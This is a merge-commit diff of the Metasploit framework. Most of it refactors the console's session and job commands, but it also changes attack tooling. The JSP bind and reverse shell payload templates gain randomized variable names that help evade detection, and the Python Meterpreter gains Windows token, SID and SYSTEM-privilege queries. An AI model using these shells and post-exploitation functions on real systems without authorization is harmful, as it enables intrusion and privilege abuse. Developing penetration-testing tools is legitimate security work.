Merge branch 'master' into staging/rails-4.0

Conflicts:
	Gemfile
	Gemfile.lock
bug/bundler_fix
Matt Buck 2014-11-12 10:13:34 -06:00
commit 02ec1fb234
No known key found for this signature in database
GPG Key ID: 42134E0C9C4E94BB
26 changed files with 1108 additions and 382 deletions

22
Gemfile
View File

@ -1,24 +1,10 @@
source 'https://rubygems.org'
# Add default group gems to `metasploit-framework.gemspec`:
# spec.add_runtime_dependency '<name>', [<version requirements>]
gemspec
gem 'rb-readline', require: false
gemspec name: 'metasploit-framework'
group :db do
rails_version_constraints = ['>= 4.0.9', '< 4.1.0']
# Needed for Msf::DbManager
gem 'activerecord', *rails_version_constraints
# Metasploit::Credential database models
gem 'metasploit-credential', :github => 'rapid7/metasploit-credential', :branch => 'staging/rails-4.0'
# Database models shared between framework and Pro.
gem 'metasploit_data_models', :github => 'rapid7/metasploit_data_models', :branch => 'staging/rails-4.0'
gem 'metasploit-concern', :github => 'rapid7/metasploit-concern', :branch => 'staging/rails-4.0'
gem 'metasploit-model', :github => 'rapid7/metasploit-model', :branch => 'staging/rails-4.0'
# Needed for module caching in Mdm::ModuleDetails
gem 'pg', '>= 0.11'
gemspec name: 'metasploit-framework-db'
end
group :development do
@ -49,9 +35,7 @@ group :development, :test do
end
group :pcap do
gem 'network_interface', '~> 0.0.1'
# For sniffer and raw socket modules
gem 'pcaprub'
gemspec name: 'metasploit-framework-pcap'
end
group :test do

View File

@ -215,6 +215,9 @@ if has_ctypes:
("wProcessorLevel", ctypes.c_uint16),
("wProcessorRevision", ctypes.c_uint16)]
class TOKEN_USER(ctypes.Structure):
_fields_ = [("User", SID_AND_ATTRIBUTES)]
#
# Linux Structures
#
@ -364,6 +367,7 @@ TLV_TYPE_COMPUTER_NAME = TLV_META_TYPE_STRING | 1040
TLV_TYPE_OS_NAME = TLV_META_TYPE_STRING | 1041
TLV_TYPE_USER_NAME = TLV_META_TYPE_STRING | 1042
TLV_TYPE_ARCHITECTURE = TLV_META_TYPE_STRING | 1043
TLV_TYPE_SID = TLV_META_TYPE_STRING | 1045
##
# Environment
@ -525,6 +529,36 @@ def get_stat_buffer(path):
st_buf += struct.pack('<II', blksize, blocks)
return st_buf
def get_token_user(handle):
TOKEN_QUERY = 0x0008
TokenUser = 1
advapi32 = ctypes.windll.advapi32
advapi32.OpenProcessToken.argtypes = [ctypes.c_void_p, ctypes.c_uint32, ctypes.POINTER(ctypes.c_void_p)]
token_handle = ctypes.c_void_p()
if not advapi32.OpenProcessToken(handle, TOKEN_QUERY, ctypes.byref(token_handle)):
return None
token_user_buffer = (ctypes.c_byte * 4096)()
dw_returned = ctypes.c_uint32()
result = advapi32.GetTokenInformation(token_handle, TokenUser, ctypes.byref(token_user_buffer), ctypes.sizeof(token_user_buffer), ctypes.byref(dw_returned))
ctypes.windll.kernel32.CloseHandle(token_handle)
if not result:
return None
return cstruct_unpack(TOKEN_USER, token_user_buffer)
def get_username_from_token(token_user):
user = (ctypes.c_char * 512)()
domain = (ctypes.c_char * 512)()
user_len = ctypes.c_uint32()
user_len.value = ctypes.sizeof(user)
domain_len = ctypes.c_uint32()
domain_len.value = ctypes.sizeof(domain)
use = ctypes.c_ulong()
use.value = 0
if not ctypes.windll.advapi32.LookupAccountSidA(None, token_user.User.Sid, user, ctypes.byref(user_len), domain, ctypes.byref(domain_len), ctypes.byref(use)):
return None
return str(ctypes.string_at(domain)) + '\\' + str(ctypes.string_at(user))
def netlink_request(req_type):
import select
# See RFC 3549
@ -632,11 +666,6 @@ def channel_open_stdapi_net_tcp_server(request, response):
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_sys_config_getuid(request, response):
response += tlv_pack(TLV_TYPE_USER_NAME, getpass.getuser())
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_sys_config_getenv(request, response):
for env_var in packet_enum_tlvs(request, TLV_TYPE_ENV_VARIABLE):
@ -649,6 +678,32 @@ def stdapi_sys_config_getenv(request, response):
response += tlv_pack(TLV_TYPE_ENV_GROUP, pgroup)
return ERROR_SUCCESS, response
@meterpreter.register_function_windll
def stdapi_sys_config_getsid(request, response):
token = get_token_user(ctypes.windll.kernel32.GetCurrentProcess())
if not token:
return ERROR_FAILURE, response
sid_str = ctypes.c_char_p()
if not ctypes.windll.advapi32.ConvertSidToStringSidA(token.User.Sid, ctypes.byref(sid_str)):
return ERROR_FAILURE, response
sid_str = str(ctypes.string_at(sid_str))
response += tlv_pack(TLV_TYPE_SID, sid_str)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_sys_config_getuid(request, response):
if has_windll:
token = get_token_user(ctypes.windll.kernel32.GetCurrentProcess())
if not token:
return ERROR_FAILURE, response
username = get_username_from_token(token)
if not username:
return ERROR_FAILURE, response
else:
username = getpass.getuser()
response += tlv_pack(TLV_TYPE_USER_NAME, username)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_sys_config_sysinfo(request, response):
uname_info = platform.uname()
@ -821,26 +876,10 @@ def stdapi_sys_process_get_processes_via_windll(request, response):
exe_path = ctypes.string_at(exe_path)
else:
exe_path = ''
complete_username = ''
tkn_h = ctypes.c_long()
tkn_len = ctypes.c_uint32()
if ctypes.windll.advapi32.OpenProcessToken(proc_h, TOKEN_QUERY, ctypes.byref(tkn_h)):
ctypes.windll.advapi32.GetTokenInformation(tkn_h, TokenUser, None, 0, ctypes.byref(tkn_len))
buf = (ctypes.c_ubyte * tkn_len.value)()
if ctypes.windll.advapi32.GetTokenInformation(tkn_h, TokenUser, ctypes.byref(buf), ctypes.sizeof(buf), ctypes.byref(tkn_len)):
user_tkn = SID_AND_ATTRIBUTES()
ctypes.memmove(ctypes.byref(user_tkn), buf, ctypes.sizeof(user_tkn))
username = (ctypes.c_char * 512)()
domain = (ctypes.c_char * 512)()
u_len = ctypes.c_uint32()
u_len.value = ctypes.sizeof(username)
d_len = ctypes.c_uint32()
d_len.value = ctypes.sizeof(domain)
use = ctypes.c_ulong()
use.value = 0
ctypes.windll.advapi32.LookupAccountSidA(None, user_tkn.Sid, username, ctypes.byref(u_len), domain, ctypes.byref(d_len), ctypes.byref(use))
complete_username = str(ctypes.string_at(domain)) + '\\' + str(ctypes.string_at(username))
k32.CloseHandle(tkn_h)
process_username = ''
process_token_user = get_token_user(proc_h)
if process_token_user:
process_username = get_username_from_token(process_token_user) or ''
parch = windll_GetNativeSystemInfo()
is_wow64 = ctypes.c_ubyte()
is_wow64.value = 0
@ -851,7 +890,7 @@ def stdapi_sys_process_get_processes_via_windll(request, response):
pgroup = bytes()
pgroup += tlv_pack(TLV_TYPE_PID, pe32.th32ProcessID)
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, pe32.th32ParentProcessID)
pgroup += tlv_pack(TLV_TYPE_USER_NAME, complete_username)
pgroup += tlv_pack(TLV_TYPE_USER_NAME, process_username)
pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, pe32.szExeFile)
pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, exe_path)
pgroup += tlv_pack(TLV_TYPE_PROCESS_ARCH, parch)

View File

@ -80,13 +80,18 @@ module Metasploit
# @return [void]
def self.optionally_require_metasploit_db_gem_engines
optionally(
'metasploit/credential/engine',
'metasploit-credential not in the bundle',
)
'metasploit/credential',
'metasploit-credential not in the bundle',
) do
require 'metasploit/credential/engine'
end
optionally(
'metasploit_data_models/engine',
'metaspoit_data_models not in the bundle'
)
'metasploit_data_models',
'metasploit_data_models not in the bundle'
) do
require 'metasploit_data_models/engine'
end
end
#

View File

@ -38,10 +38,11 @@ module Exploit::EXE
obfus_eicar.join("-").upcase
end
def get_custom_exe(path=nil)
def get_custom_exe(path = nil)
path ||= datastore['EXE::Custom']
print_status("Using custom payload #{path}, RHOST and RPORT settings will be ignored!")
datastore['DisablePayloadHandler'] = true
exe = nil
::File.open(path,'rb') {|f| exe = f.read(f.stat.size)}
exe
end
@ -160,7 +161,7 @@ protected
end
def exe_post_generation(opts)
if (opts[:fellback])
if opts[:fellback]
print_status("Warning: Falling back to default template: #{opts[:fellback]}")
end
end

View File

@ -547,7 +547,7 @@ module Exploit::Remote::HttpServer
# Guard against removing resources added by other modules
if @my_resources.include?(name)
@my_resources.delete(name)
service.remove_resource(name)
service.remove_resource(name) if service
end
end

View File

@ -22,6 +22,12 @@ module Msf::Payload::JSP
# @return [String] jsp code that executes bind TCP payload
def jsp_bind_tcp
# Modified from: http://www.security.org.sg/code/jspreverse.html
var_is = Rex::Text.rand_text_alpha_lower(2)
var_os = Rex::Text.rand_text_alpha_lower(2)
var_in = Rex::Text.rand_text_alpha_lower(2)
var_out = Rex::Text.rand_text_alpha_lower(3)
jsp = <<-EOS
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
@ -31,37 +37,37 @@ module Msf::Payload::JSP
<%
class StreamConnector extends Thread
{
InputStream is;
OutputStream os;
InputStream #{var_is};
OutputStream #{var_os};
StreamConnector( InputStream is, OutputStream os )
StreamConnector( InputStream #{var_is}, OutputStream #{var_os} )
{
this.is = is;
this.os = os;
this.#{var_is} = #{var_is};
this.#{var_os} = #{var_os};
}
public void run()
{
BufferedReader in = null;
BufferedWriter out = null;
BufferedReader #{var_in} = null;
BufferedWriter #{var_out} = null;
try
{
in = new BufferedReader( new InputStreamReader( this.is ) );
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
#{var_in} = new BufferedReader( new InputStreamReader( this.#{var_is} ) );
#{var_out} = new BufferedWriter( new OutputStreamWriter( this.#{var_os} ) );
char buffer[] = new char[8192];
int length;
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
while( ( length = #{var_in}.read( buffer, 0, buffer.length ) ) > 0 )
{
out.write( buffer, 0, length );
out.flush();
#{var_out}.write( buffer, 0, length );
#{var_out}.flush();
}
} catch( Exception e ){}
try
{
if( in != null )
in.close();
if( out != null )
out.close();
if( #{var_in} != null )
#{var_in}.close();
if( #{var_out} != null )
#{var_out}.close();
} catch( Exception e ){}
}
}
@ -87,6 +93,12 @@ module Msf::Payload::JSP
# @return [String] jsp code that executes reverse TCP payload
def jsp_reverse_tcp
# JSP Reverse Shell modified from: http://www.security.org.sg/code/jspreverse.html
var_is = Rex::Text.rand_text_alpha_lower(2)
var_os = Rex::Text.rand_text_alpha_lower(2)
var_in = Rex::Text.rand_text_alpha_lower(2)
var_out = Rex::Text.rand_text_alpha_lower(3)
jsp = <<-EOS
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
@ -96,37 +108,37 @@ module Msf::Payload::JSP
<%
class StreamConnector extends Thread
{
InputStream is;
OutputStream os;
InputStream #{var_is};
OutputStream #{var_os};
StreamConnector( InputStream is, OutputStream os )
StreamConnector( InputStream #{var_is}, OutputStream #{var_os} )
{
this.is = is;
this.os = os;
this.#{var_is} = #{var_is};
this.#{var_os} = #{var_os};
}
public void run()
{
BufferedReader in = null;
BufferedWriter out = null;
BufferedReader #{var_in} = null;
BufferedWriter #{var_out} = null;
try
{
in = new BufferedReader( new InputStreamReader( this.is ) );
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
#{var_in} = new BufferedReader( new InputStreamReader( this.#{var_is} ) );
#{var_out} = new BufferedWriter( new OutputStreamWriter( this.#{var_os} ) );
char buffer[] = new char[8192];
int length;
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
while( ( length = #{var_in}.read( buffer, 0, buffer.length ) ) > 0 )
{
out.write( buffer, 0, length );
out.flush();
#{var_out}.write( buffer, 0, length );
#{var_out}.flush();
}
} catch( Exception e ){}
try
{
if( in != null )
in.close();
if( out != null )
out.close();
if( #{var_in} != null )
#{var_in}.close();
if( #{var_out} != null )
#{var_out}.close();
} catch( Exception e ){}
}
}

View File

@ -308,12 +308,14 @@ module Msf
if encoder.present?
# Allow comma seperated list of encoders so users can choose several
encoder.split(',').each do |chosen_encoder|
encoders << framework.encoders.create(chosen_encoder)
e = framework.encoders.create(chosen_encoder)
encoders << e if e
end
encoders.sort_by { |my_encoder| my_encoder.rank }.reverse
elsif badchars.present?
framework.encoders.each_module_ranked('Arch' => [arch], 'Platform' => platform_list) do |name, mod|
encoders << framework.encoders.create(name)
e = framework.encoders.create(name)
encoders << e if e
end
encoders.sort_by { |my_encoder| my_encoder.rank }.reverse
else

View File

@ -41,7 +41,7 @@ class Core
"-v" => [ false, "List verbose fields" ],
"-q" => [ false, "Quiet mode" ],
"-d" => [ true, "Detach an interactive session" ],
"-k" => [ true, "Terminate session" ],
"-k" => [ true, "Terminate sessions by session ID and/or range" ],
"-K" => [ false, "Terminate all sessions" ],
"-s" => [ true, "Run a script on the session given with -i, or all"],
"-r" => [ false, "Reset the ring buffer for the session given with -i, or all"],
@ -49,7 +49,7 @@ class Core
@@jobs_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner." ],
"-k" => [ true, "Terminate the specified job name." ],
"-k" => [ true, "Terminate jobs by job ID and/or range." ],
"-K" => [ false, "Terminate all running jobs." ],
"-i" => [ true, "Lists detailed information about a running job."],
"-l" => [ false, "List all running jobs." ],
@ -778,9 +778,7 @@ class Core
def cmd_jobs(*args)
# Make the default behavior listing all jobs if there were no options
# or the only option is the verbose flag
if (args.length == 0 or args == ["-v"])
args.unshift("-l")
end
args.unshift("-l") if args.length == 0 || args == ["-v"]
verbose = false
dump_list = false
@ -788,20 +786,27 @@ class Core
job_id = nil
# Parse the command options
@@jobs_opts.parse(args) { |opt, idx, val|
@@jobs_opts.parse(args) do |opt, idx, val|
case opt
when "-v"
verbose = true
when "-l"
dump_list = true
# Terminate the supplied job name
# Terminate the supplied job ID(s)
when "-k"
if (not framework.jobs.has_key?(val))
print_error("No such job")
else
print_line("Stopping job: #{val}...")
framework.jobs.stop_job(val)
job_list = build_range_array(val)
if job_list.blank?
print_error("Please specify valid job identifier(s)")
return false
end
print_status("Stopping the following job(s): #{job_list.join(', ')}")
job_list.map(&:to_s).each do |job|
if framework.jobs.has_key?(job)
print_status("Stopping job #{job}")
framework.jobs.stop_job(job)
else
print_error("Invalid job identifier: #{job}")
end
end
when "-K"
print_line("Stopping all jobs...")
@ -817,28 +822,28 @@ class Core
cmd_jobs_help
return false
end
}
if (dump_list)
print("\n" + Serializer::ReadableText.dump_jobs(framework, verbose) + "\n")
end
if (dump_info)
if (job_id and framework.jobs[job_id.to_s])
if dump_list
print("\n#{Serializer::ReadableText.dump_jobs(framework, verbose)}\n")
end
if dump_info
if job_id && framework.jobs[job_id.to_s]
job = framework.jobs[job_id.to_s]
mod = job.ctx[0]
output = "\n"
output = '\n'
output += "Name: #{mod.name}"
output += ", started at #{job.start_time}" if job.start_time
print_line(output)
if (mod.options.has_options?)
show_options(mod)
end
show_options(mod) if mod.options.has_options?
if (verbose)
if verbose
mod_opt = Serializer::ReadableText.dump_advanced_options(mod,' ')
print_line("\nModule advanced options:\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0)
if mod_opt && mod_opt.length > 0
print_line("\nModule advanced options:\n\n#{mod_opt}\n")
end
end
else
print_line("Invalid Job ID")
@ -1563,7 +1568,11 @@ class Core
print_line "Usage: sessions [options]"
print_line
print_line "Active session manipulation and interaction."
print(@@sessions_opts.usage())
print(@@sessions_opts.usage)
print_line
print_line "Many options allow specifying session ranges using commas and dashes."
print_line "For example: sessions -s checkvm -i 1,3-5 or sessions -k 1-2,5,6"
print_line
end
#
@ -1584,250 +1593,220 @@ class Core
extra = []
# Parse the command options
@@sessions_opts.parse(args) { |opt, idx, val|
@@sessions_opts.parse(args) do |opt, idx, val|
case opt
when "-q"
quiet = true
# Run a command on all sessions, or the session given with -i
when "-c"
method = 'cmd'
if (val)
cmds << val
end
when "-v"
verbose = true
# Do something with the supplied session identifier instead of
# all sessions.
when "-i"
sid = val
# Display the list of active sessions
when "-l"
method = 'list'
when "-k"
method = 'kill'
sid = val if val
if not sid
print_error("Specify a session to kill")
return false
end
when "-K"
method = 'killall'
when "-d"
method = 'detach'
sid = val
# Run a script on all meterpreter sessions
when "-s"
if not script
method = 'scriptall'
script = val
end
# Upload and exec to the specific command session
when "-u"
method = 'upexec'
sid = val
# Reset the ring buffer read pointer
when "-r"
reset_ring = true
method = 'reset_ring'
# Display help banner
when "-h"
cmd_sessions_help
return false
else
extra << val
when "-q"
quiet = true
# Run a command on all sessions, or the session given with -i
when "-c"
method = 'cmd'
cmds << val if val
when "-v"
verbose = true
# Do something with the supplied session identifier instead of
# all sessions.
when "-i"
sid = val
# Display the list of active sessions
when "-l"
method = 'list'
when "-k"
method = 'kill'
sid = val || false
when "-K"
method = 'killall'
when "-d"
method = 'detach'
sid = val || false
# Run a script on all meterpreter sessions
when "-s"
unless script
method = 'scriptall'
script = val
end
# Upload and exec to the specific command session
when "-u"
method = 'upexec'
sid = val || false
# Reset the ring buffer read pointer
when "-r"
reset_ring = true
method = 'reset_ring'
# Display help banner
when "-h"
cmd_sessions_help
return false
else
extra << val
end
}
if sid and not framework.sessions.get(sid)
print_error("Invalid session id")
return false
end
if method.nil? and sid
if !method && sid
method = 'interact'
end
unless sid.nil? || method == 'interact'
session_list = build_range_array(sid)
if session_list.blank?
print_error("Please specify valid session identifier(s)")
return false
end
end
# Now, perform the actual method
case method
when 'cmd'
if (cmds.length < 1)
print_error("No command specified!")
return false
end
cmds.each do |cmd|
if sid
sessions = [ sid ]
else
sessions = framework.sessions.keys.sort
end
sessions.each do |s|
session = framework.sessions.get(s)
print_status("Running '#{cmd}' on #{session.type} session #{s} (#{session.session_host})")
if (session.type == "meterpreter")
# If session.sys is nil, dont even try..
if not (session.sys)
print_error("Session #{s} does not have stdapi loaded, skipping...")
next
end
c, c_args = cmd.split(' ', 2)
begin
process = session.sys.process.execute(c, c_args,
{
'Channelized' => true,
'Hidden' => true
})
rescue ::Rex::Post::Meterpreter::RequestError
print_error("Failed: #{$!.class} #{$!}")
end
if process and process.channel and (data = process.channel.read)
print_line(data)
end
elsif session.type == "shell"
if (output = session.shell_command(cmd))
print_line(output)
end
end
# If the session isn't a meterpreter or shell type, it
# could be a VNC session (which can't run commands) or
# something custom (which we don't know how to run
# commands on), so don't bother.
end
end
when 'kill'
if ((session = framework.sessions.get(sid)))
print_status("Killing session #{sid}")
session.kill
else
print_error("Invalid session identifier: #{sid}")
end
when 'killall'
print_status("Killing all sessions...")
framework.sessions.each_sorted do |s|
if ((session = framework.sessions.get(s)))
session.kill
end
end
when 'detach'
if ((session = framework.sessions.get(sid)))
print_status("Detaching session #{sid}")
if (session.interactive?)
session.detach()
end
else
print_error("Invalid session identifier: #{sid}")
end
when 'interact'
if ((session = framework.sessions.get(sid)))
if (session.interactive?)
print_status("Starting interaction with #{session.name}...\n") if (quiet == false)
self.active_session = session
session.interact(driver.input.dup, driver.output)
self.active_session = nil
if (driver.input.supports_readline)
driver.input.reset_tab_completion
end
else
print_error("Session #{sid} is non-interactive.")
end
else
print_error("Invalid session identifier: #{sid}")
end
when 'scriptall'
if (script.nil?)
print_error("No script specified!")
return false
end
script_paths = {}
script_paths['meterpreter'] = Msf::Sessions::Meterpreter.find_script_path(script)
script_paths['shell'] = Msf::Sessions::CommandShell.find_script_path(script)
when 'cmd'
if cmds.length < 1
print_error("No command specified!")
return false
end
cmds.each do |cmd|
if sid
print_status("Running script #{script} on session #{sid}...")
sessions = [ sid ]
sessions = session_list
else
print_status("Running script #{script} on all sessions...")
sessions = framework.sessions.keys.sort
end
sessions.each do |s|
if ((session = framework.sessions.get(s)))
if (script_paths[session.type])
print_status("Session #{s} (#{session.session_host}):")
begin
session.execute_file(script_paths[session.type], extra)
rescue ::Exception => e
log_error("Error executing script: #{e.class} #{e}")
end
end
end
if sessions.blank?
print_error("Please specify valid session identifier(s) using -i")
return false
end
sessions.each do |s|
session = verify_session(s)
next unless session
print_status("Running '#{cmd}' on #{session.type} session #{s} (#{session.session_host})")
when 'upexec'
session_list = build_sessions_array(sid)
print_status("Executing 'post/multi/manage/shell_to_meterpreter' on session(s): #{session_list}")
session_list.each do |sess|
if ((session = framework.sessions.get(sess)))
if (session.interactive?)
if (session.type == "shell")
session.init_ui(driver.input, driver.output)
session.execute_script('post/multi/manage/shell_to_meterpreter')
session.reset_ui
else
print_error("Session #{sess} is not a command shell session, skipping...")
next
end
else
print_error("Session #{sess} is non-interactive, skipping...")
if session.type == 'meterpreter'
# If session.sys is nil, dont even try..
unless session.sys
print_error("Session #{s} does not have stdapi loaded, skipping...")
next
end
c, c_args = cmd.split(' ', 2)
begin
process = session.sys.process.execute(c, c_args,
{
'Channelized' => true,
'Hidden' => true
})
rescue ::Rex::Post::Meterpreter::RequestError
print_error("Failed: #{$!.class} #{$!}")
end
if process && process.channel
data = process.channel.read
print_line(data) if data
end
elsif session.type == 'shell'
output = session.shell_command(cmd)
print_line(output) if output
end
# If the session isn't a meterpreter or shell type, it
# could be a VNC session (which can't run commands) or
# something custom (which we don't know how to run
# commands on), so don't bother.
end
end
when 'kill'
print_status("Killing the following session(s): #{session_list.join(', ')}")
session_list.each do |sess_id|
session = framework.sessions.get(sess_id)
if session
print_status("Killing session #{sess_id}")
session.kill
else
print_error("Invalid session identifier: #{sess_id}")
end
end
when 'killall'
print_status("Killing all sessions...")
framework.sessions.each_sorted do |s|
session = framework.sessions.get(s)
session.kill if session
end
when 'detach'
print_status("Detaching the following session(s): #{session_list.join(', ')}")
session_list.each do |sess_id|
session = verify_session(sess_id)
# if session is interactive, it's detachable
if session
print_status("Detaching session #{sess_id}")
session.detach
end
end
when 'interact'
session = verify_session(sid)
if session
print_status("Starting interaction with #{session.name}...\n") unless quiet
self.active_session = session
session.interact(driver.input.dup, driver.output)
self.active_session = nil
driver.input.reset_tab_completion if driver.input.supports_readline
end
when 'scriptall'
unless script
print_error("No script specified!")
return false
end
script_paths = {}
script_paths['meterpreter'] = Msf::Sessions::Meterpreter.find_script_path(script)
script_paths['shell'] = Msf::Sessions::CommandShell.find_script_path(script)
sessions = sid ? session_list : framework.sessions.keys.sort
sessions.each do |sess_id|
session = verify_session(sess_id, true)
# @TODO: Not interactive sessions can or cannot have scripts run on them?
if session == false # specifically looking for false
# if verify_session returned false, sess_id is valid, but not interactive
session = framework.sessions.get(sess_id)
end
if session
if script_paths[session.type]
print_status("Session #{sess_id} (#{session.session_host}):")
print_status("Running script #{script} on #{session.type} session" +
" #{sess_id} (#{session.session_host})")
begin
session.execute_file(script_paths[session.type], extra)
rescue ::Exception => e
log_error("Error executing script: #{e.class} #{e}")
end
end
else
print_error("Invalid session identifier: #{sess_id}")
end
end
when 'upexec'
print_status("Executing 'post/multi/manage/shell_to_meterpreter' on " +
"session(s): #{session_list}")
session_list.each do |sess_id|
session = verify_session(sess_id)
if session
if session.type == 'shell'
session.init_ui(driver.input, driver.output)
session.execute_script('post/multi/manage/shell_to_meterpreter')
session.reset_ui
else
print_error("Invalid session identifier: #{sess}")
print_error("Session #{sess_id} is not a command shell session, skipping...")
next
end
if session_list.count > 1
print_status("Sleeping 5 seconds to allow the previous handler to finish..")
sleep(5)
end
end
when 'reset_ring'
sessions = sid ? [ sid ] : framework.sessions.keys
sessions.each do |sidx|
s = framework.sessions[sidx]
next if not (s and s.respond_to?(:ring_seq))
s.reset_ring_sequence
print_status("Reset the ring buffer pointer for Session #{sidx}")
if session_list.count > 1
print_status("Sleeping 5 seconds to allow the previous handler to finish..")
sleep(5)
end
when 'list',nil
print_line
print(Serializer::ReadableText.dump_sessions(framework, :verbose => verbose))
print_line
end
when 'reset_ring'
sessions = sid ? [sid] : framework.sessions.keys
sessions.each do |sidx|
s = framework.sessions[sidx]
next unless (s && s.respond_to?(:ring_seq))
s.reset_ring_sequence
print_status("Reset the ring buffer pointer for Session #{sidx}")
end
when 'list',nil
print_line
print(Serializer::ReadableText.dump_sessions(framework, :verbose => verbose))
print_line
end
rescue IOError, EOFError, Rex::StreamClosedError
@ -1841,7 +1820,7 @@ class Core
# Reset the active session
self.active_session = nil
return true
true
end
#
@ -3001,6 +2980,33 @@ class Core
protected
#
# verifies that a given session_id is valid and that the session is interactive.
# The various return values allow the caller to make better decisions on what
# action can & should be taken depending on the capabilities of the session
# and the caller's objective while making it simple to use in the nominal case
# where the caller needs session_id to match an interactive session
#
# @param session_id [String] A session id, which is an integer as a string
# @param quiet [Boolean] True means the method will produce no error messages
# @return [session] if the given session_id is valid and session is interactive
# @return [false] if the given session_id is valid, but not interactive
# @return [nil] if the given session_id is not valid at all
def verify_session(session_id, quiet = false)
session = framework.sessions.get(session_id)
if session
if session.interactive?
session
else
print_error("Session #{session_id} is non-interactive.") unless quiet
false
end
else
print_error("Invalid session identifier: #{session_id}") unless quiet
nil
end
end
#
# Go_pro methods -- these are used to start and connect to
# Metasploit Community / Pro.
@ -3352,30 +3358,39 @@ class Core
start = line_num - before
start = 0 if start < 0
finish = line_num + after
return all_lines.slice(start..finish)
all_lines.slice(start..finish)
end
# Generate an array of session IDs when presented with input such as '1' or '1,2,4-6,10' or '1,2,4..6,10'
def build_sessions_array(sid_list)
session_list = Array.new
temp_list = sid_list.split(",")
#
# Generate an array of job or session IDs from a given range String.
# Always returns an Array.
#
# @param id_list [String] Range or list description such as 1-5 or 1,3,5 etc
# @return [Array<String>] Representing the range
def build_range_array(id_list)
item_list = []
unless id_list.blank?
temp_list = id_list.split(',')
temp_list.each do |ele|
return if ele.count('-') > 1
return if ele.first == '-' || ele[-1] == '-'
return if ele.first == '.' || ele[-1] == '.'
temp_list.each do |ele|
if ele.include? '-'
temp_array = (ele.split("-").inject {|s,e| s.to_i..e.to_i}).to_a
session_list.concat(temp_array)
elsif ele.include? '..'
temp_array = (ele.split("..").inject {|s,e| s.to_i..e.to_i}).to_a
session_list.concat(temp_array)
else
session_list.push(ele.to_i)
if ele.include? '-'
temp_array = (ele.split("-").inject { |s, e| s.to_i..e.to_i }).to_a
item_list.concat(temp_array)
elsif ele.include? '..'
temp_array = (ele.split("..").inject { |s, e| s.to_i..e.to_i }).to_a
item_list.concat(temp_array)
else
item_list.push(ele.to_i)
end
end
end
return session_list.uniq.sort
item_list.uniq.sort
end
end
end end end end

View File

@ -31,14 +31,14 @@ class CmdStagerTFTP < CmdStagerBase
end
def setup(mod)
tftp = Rex::Proto::TFTP::Server.new
tftp.register_file(Rex::Text.rand_text_alphanumeric(8), exe)
tftp.start
mod.add_socket(tftp) # Hating myself for doing it... but it's just a first demo
self.tftp = Rex::Proto::TFTP::Server.new
self.tftp.register_file(Rex::Text.rand_text_alphanumeric(8), exe)
self.tftp.start
mod.add_socket(self.tftp) # Hating myself for doing it... but it's just a first demo
end
def teardown(mod = nil)
tftp.stop
self.tftp.stop
end
#

View File

@ -24,11 +24,11 @@ class Message
self.header.parse(head)
ctype = self.header.find('Content-Type')
if ctype and ctype[1] and ctype[1] =~ /multipart\/mixed;\s*boundary="?([A-Za-z0-9'\(\)\+\_,\-\.\/:=\?^\s]+)"?/
if ctype && ctype[1] && ctype[1] =~ /multipart\/mixed;\s*boundary="?([A-Za-z0-9'\(\)\+\_,\-\.\/:=\?^\s]+)"?/
self.bound = $1
chunks = body.to_s.split(/--#{self.bound}(--)?\r?\n/)
self.content = chunks.shift.to_s.gsub(/\s+$/, '')
self.content << "\r\n" if not self.content.empty?
self.content << "\r\n" unless self.content.empty?
chunks.each do |chunk|
break if chunk == "--"
@ -88,15 +88,13 @@ class Message
def add_part(data='', content_type='text/plain', transfer_encoding="8bit", content_disposition=nil)
part = Rex::MIME::Part.new
if (content_disposition)
if content_disposition
part.header.set("Content-Disposition", content_disposition)
end
if (content_type)
part.header.set("Content-Type", content_type)
end
part.header.set("Content-Type", content_type) if content_type
if (transfer_encoding)
if transfer_encoding
part.header.set("Content-Transfer-Encoding", transfer_encoding)
end
@ -125,20 +123,17 @@ class Message
end
def to_s
msg = force_crlf(self.header.to_s + "\r\n")
header_string = self.header.to_s
unless self.content.blank?
msg << force_crlf(self.content + "\r\n")
end
msg = header_string.empty? ? '' : force_crlf(self.header.to_s + "\r\n")
msg << force_crlf(self.content + "\r\n") unless self.content.blank?
self.parts.each do |part|
msg << force_crlf("--" + self.bound + "\r\n")
msg << part.to_s
end
if self.parts.length > 0
msg << force_crlf("--" + self.bound + "--\r\n")
end
msg << force_crlf("--" + self.bound + "--\r\n") if self.parts.length > 0
msg
end

View File

@ -20,6 +20,8 @@ module Sys
###
class Config
SYSTEM_SID = 'S-1-5-18'
def initialize(client)
self.client = client
end
@ -33,6 +35,22 @@ class Config
client.unicode_filter_encode( response.get_tlv_value(TLV_TYPE_USER_NAME) )
end
#
# Gets the SID of the current process/thread.
#
def getsid
request = Packet.create_request('stdapi_sys_config_getsid')
response = client.send_request(request)
response.get_tlv_value(TLV_TYPE_SID)
end
#
# Determine if the current process/thread is running as SYSTEM
#
def is_system?
getsid == SYSTEM_SID
end
#
# Returns a hash of requested environment variables, along with their values.
# If a requested value doesn't exist in the response, then the value wasn't found.

View File

@ -116,6 +116,7 @@ TLV_TYPE_OS_NAME = TLV_META_TYPE_STRING | 1041
TLV_TYPE_USER_NAME = TLV_META_TYPE_STRING | 1042
TLV_TYPE_ARCHITECTURE = TLV_META_TYPE_STRING | 1043
TLV_TYPE_LANG_SYSTEM = TLV_META_TYPE_STRING | 1044
TLV_TYPE_SID = TLV_META_TYPE_STRING | 1045
# Environment
TLV_TYPE_ENV_VARIABLE = TLV_META_TYPE_STRING | 1100

View File

@ -221,7 +221,7 @@ class Console::CommandDispatcher::Incognito
end
def system_privilege_check
if (client.sys.config.getuid != "NT AUTHORITY\\SYSTEM")
unless client.sys.config.is_system?
print_line("[-] Warning: Not currently running as SYSTEM, not all tokens will be available")
print_line(" Call rev2self if primary process token is SYSTEM")
end

View File

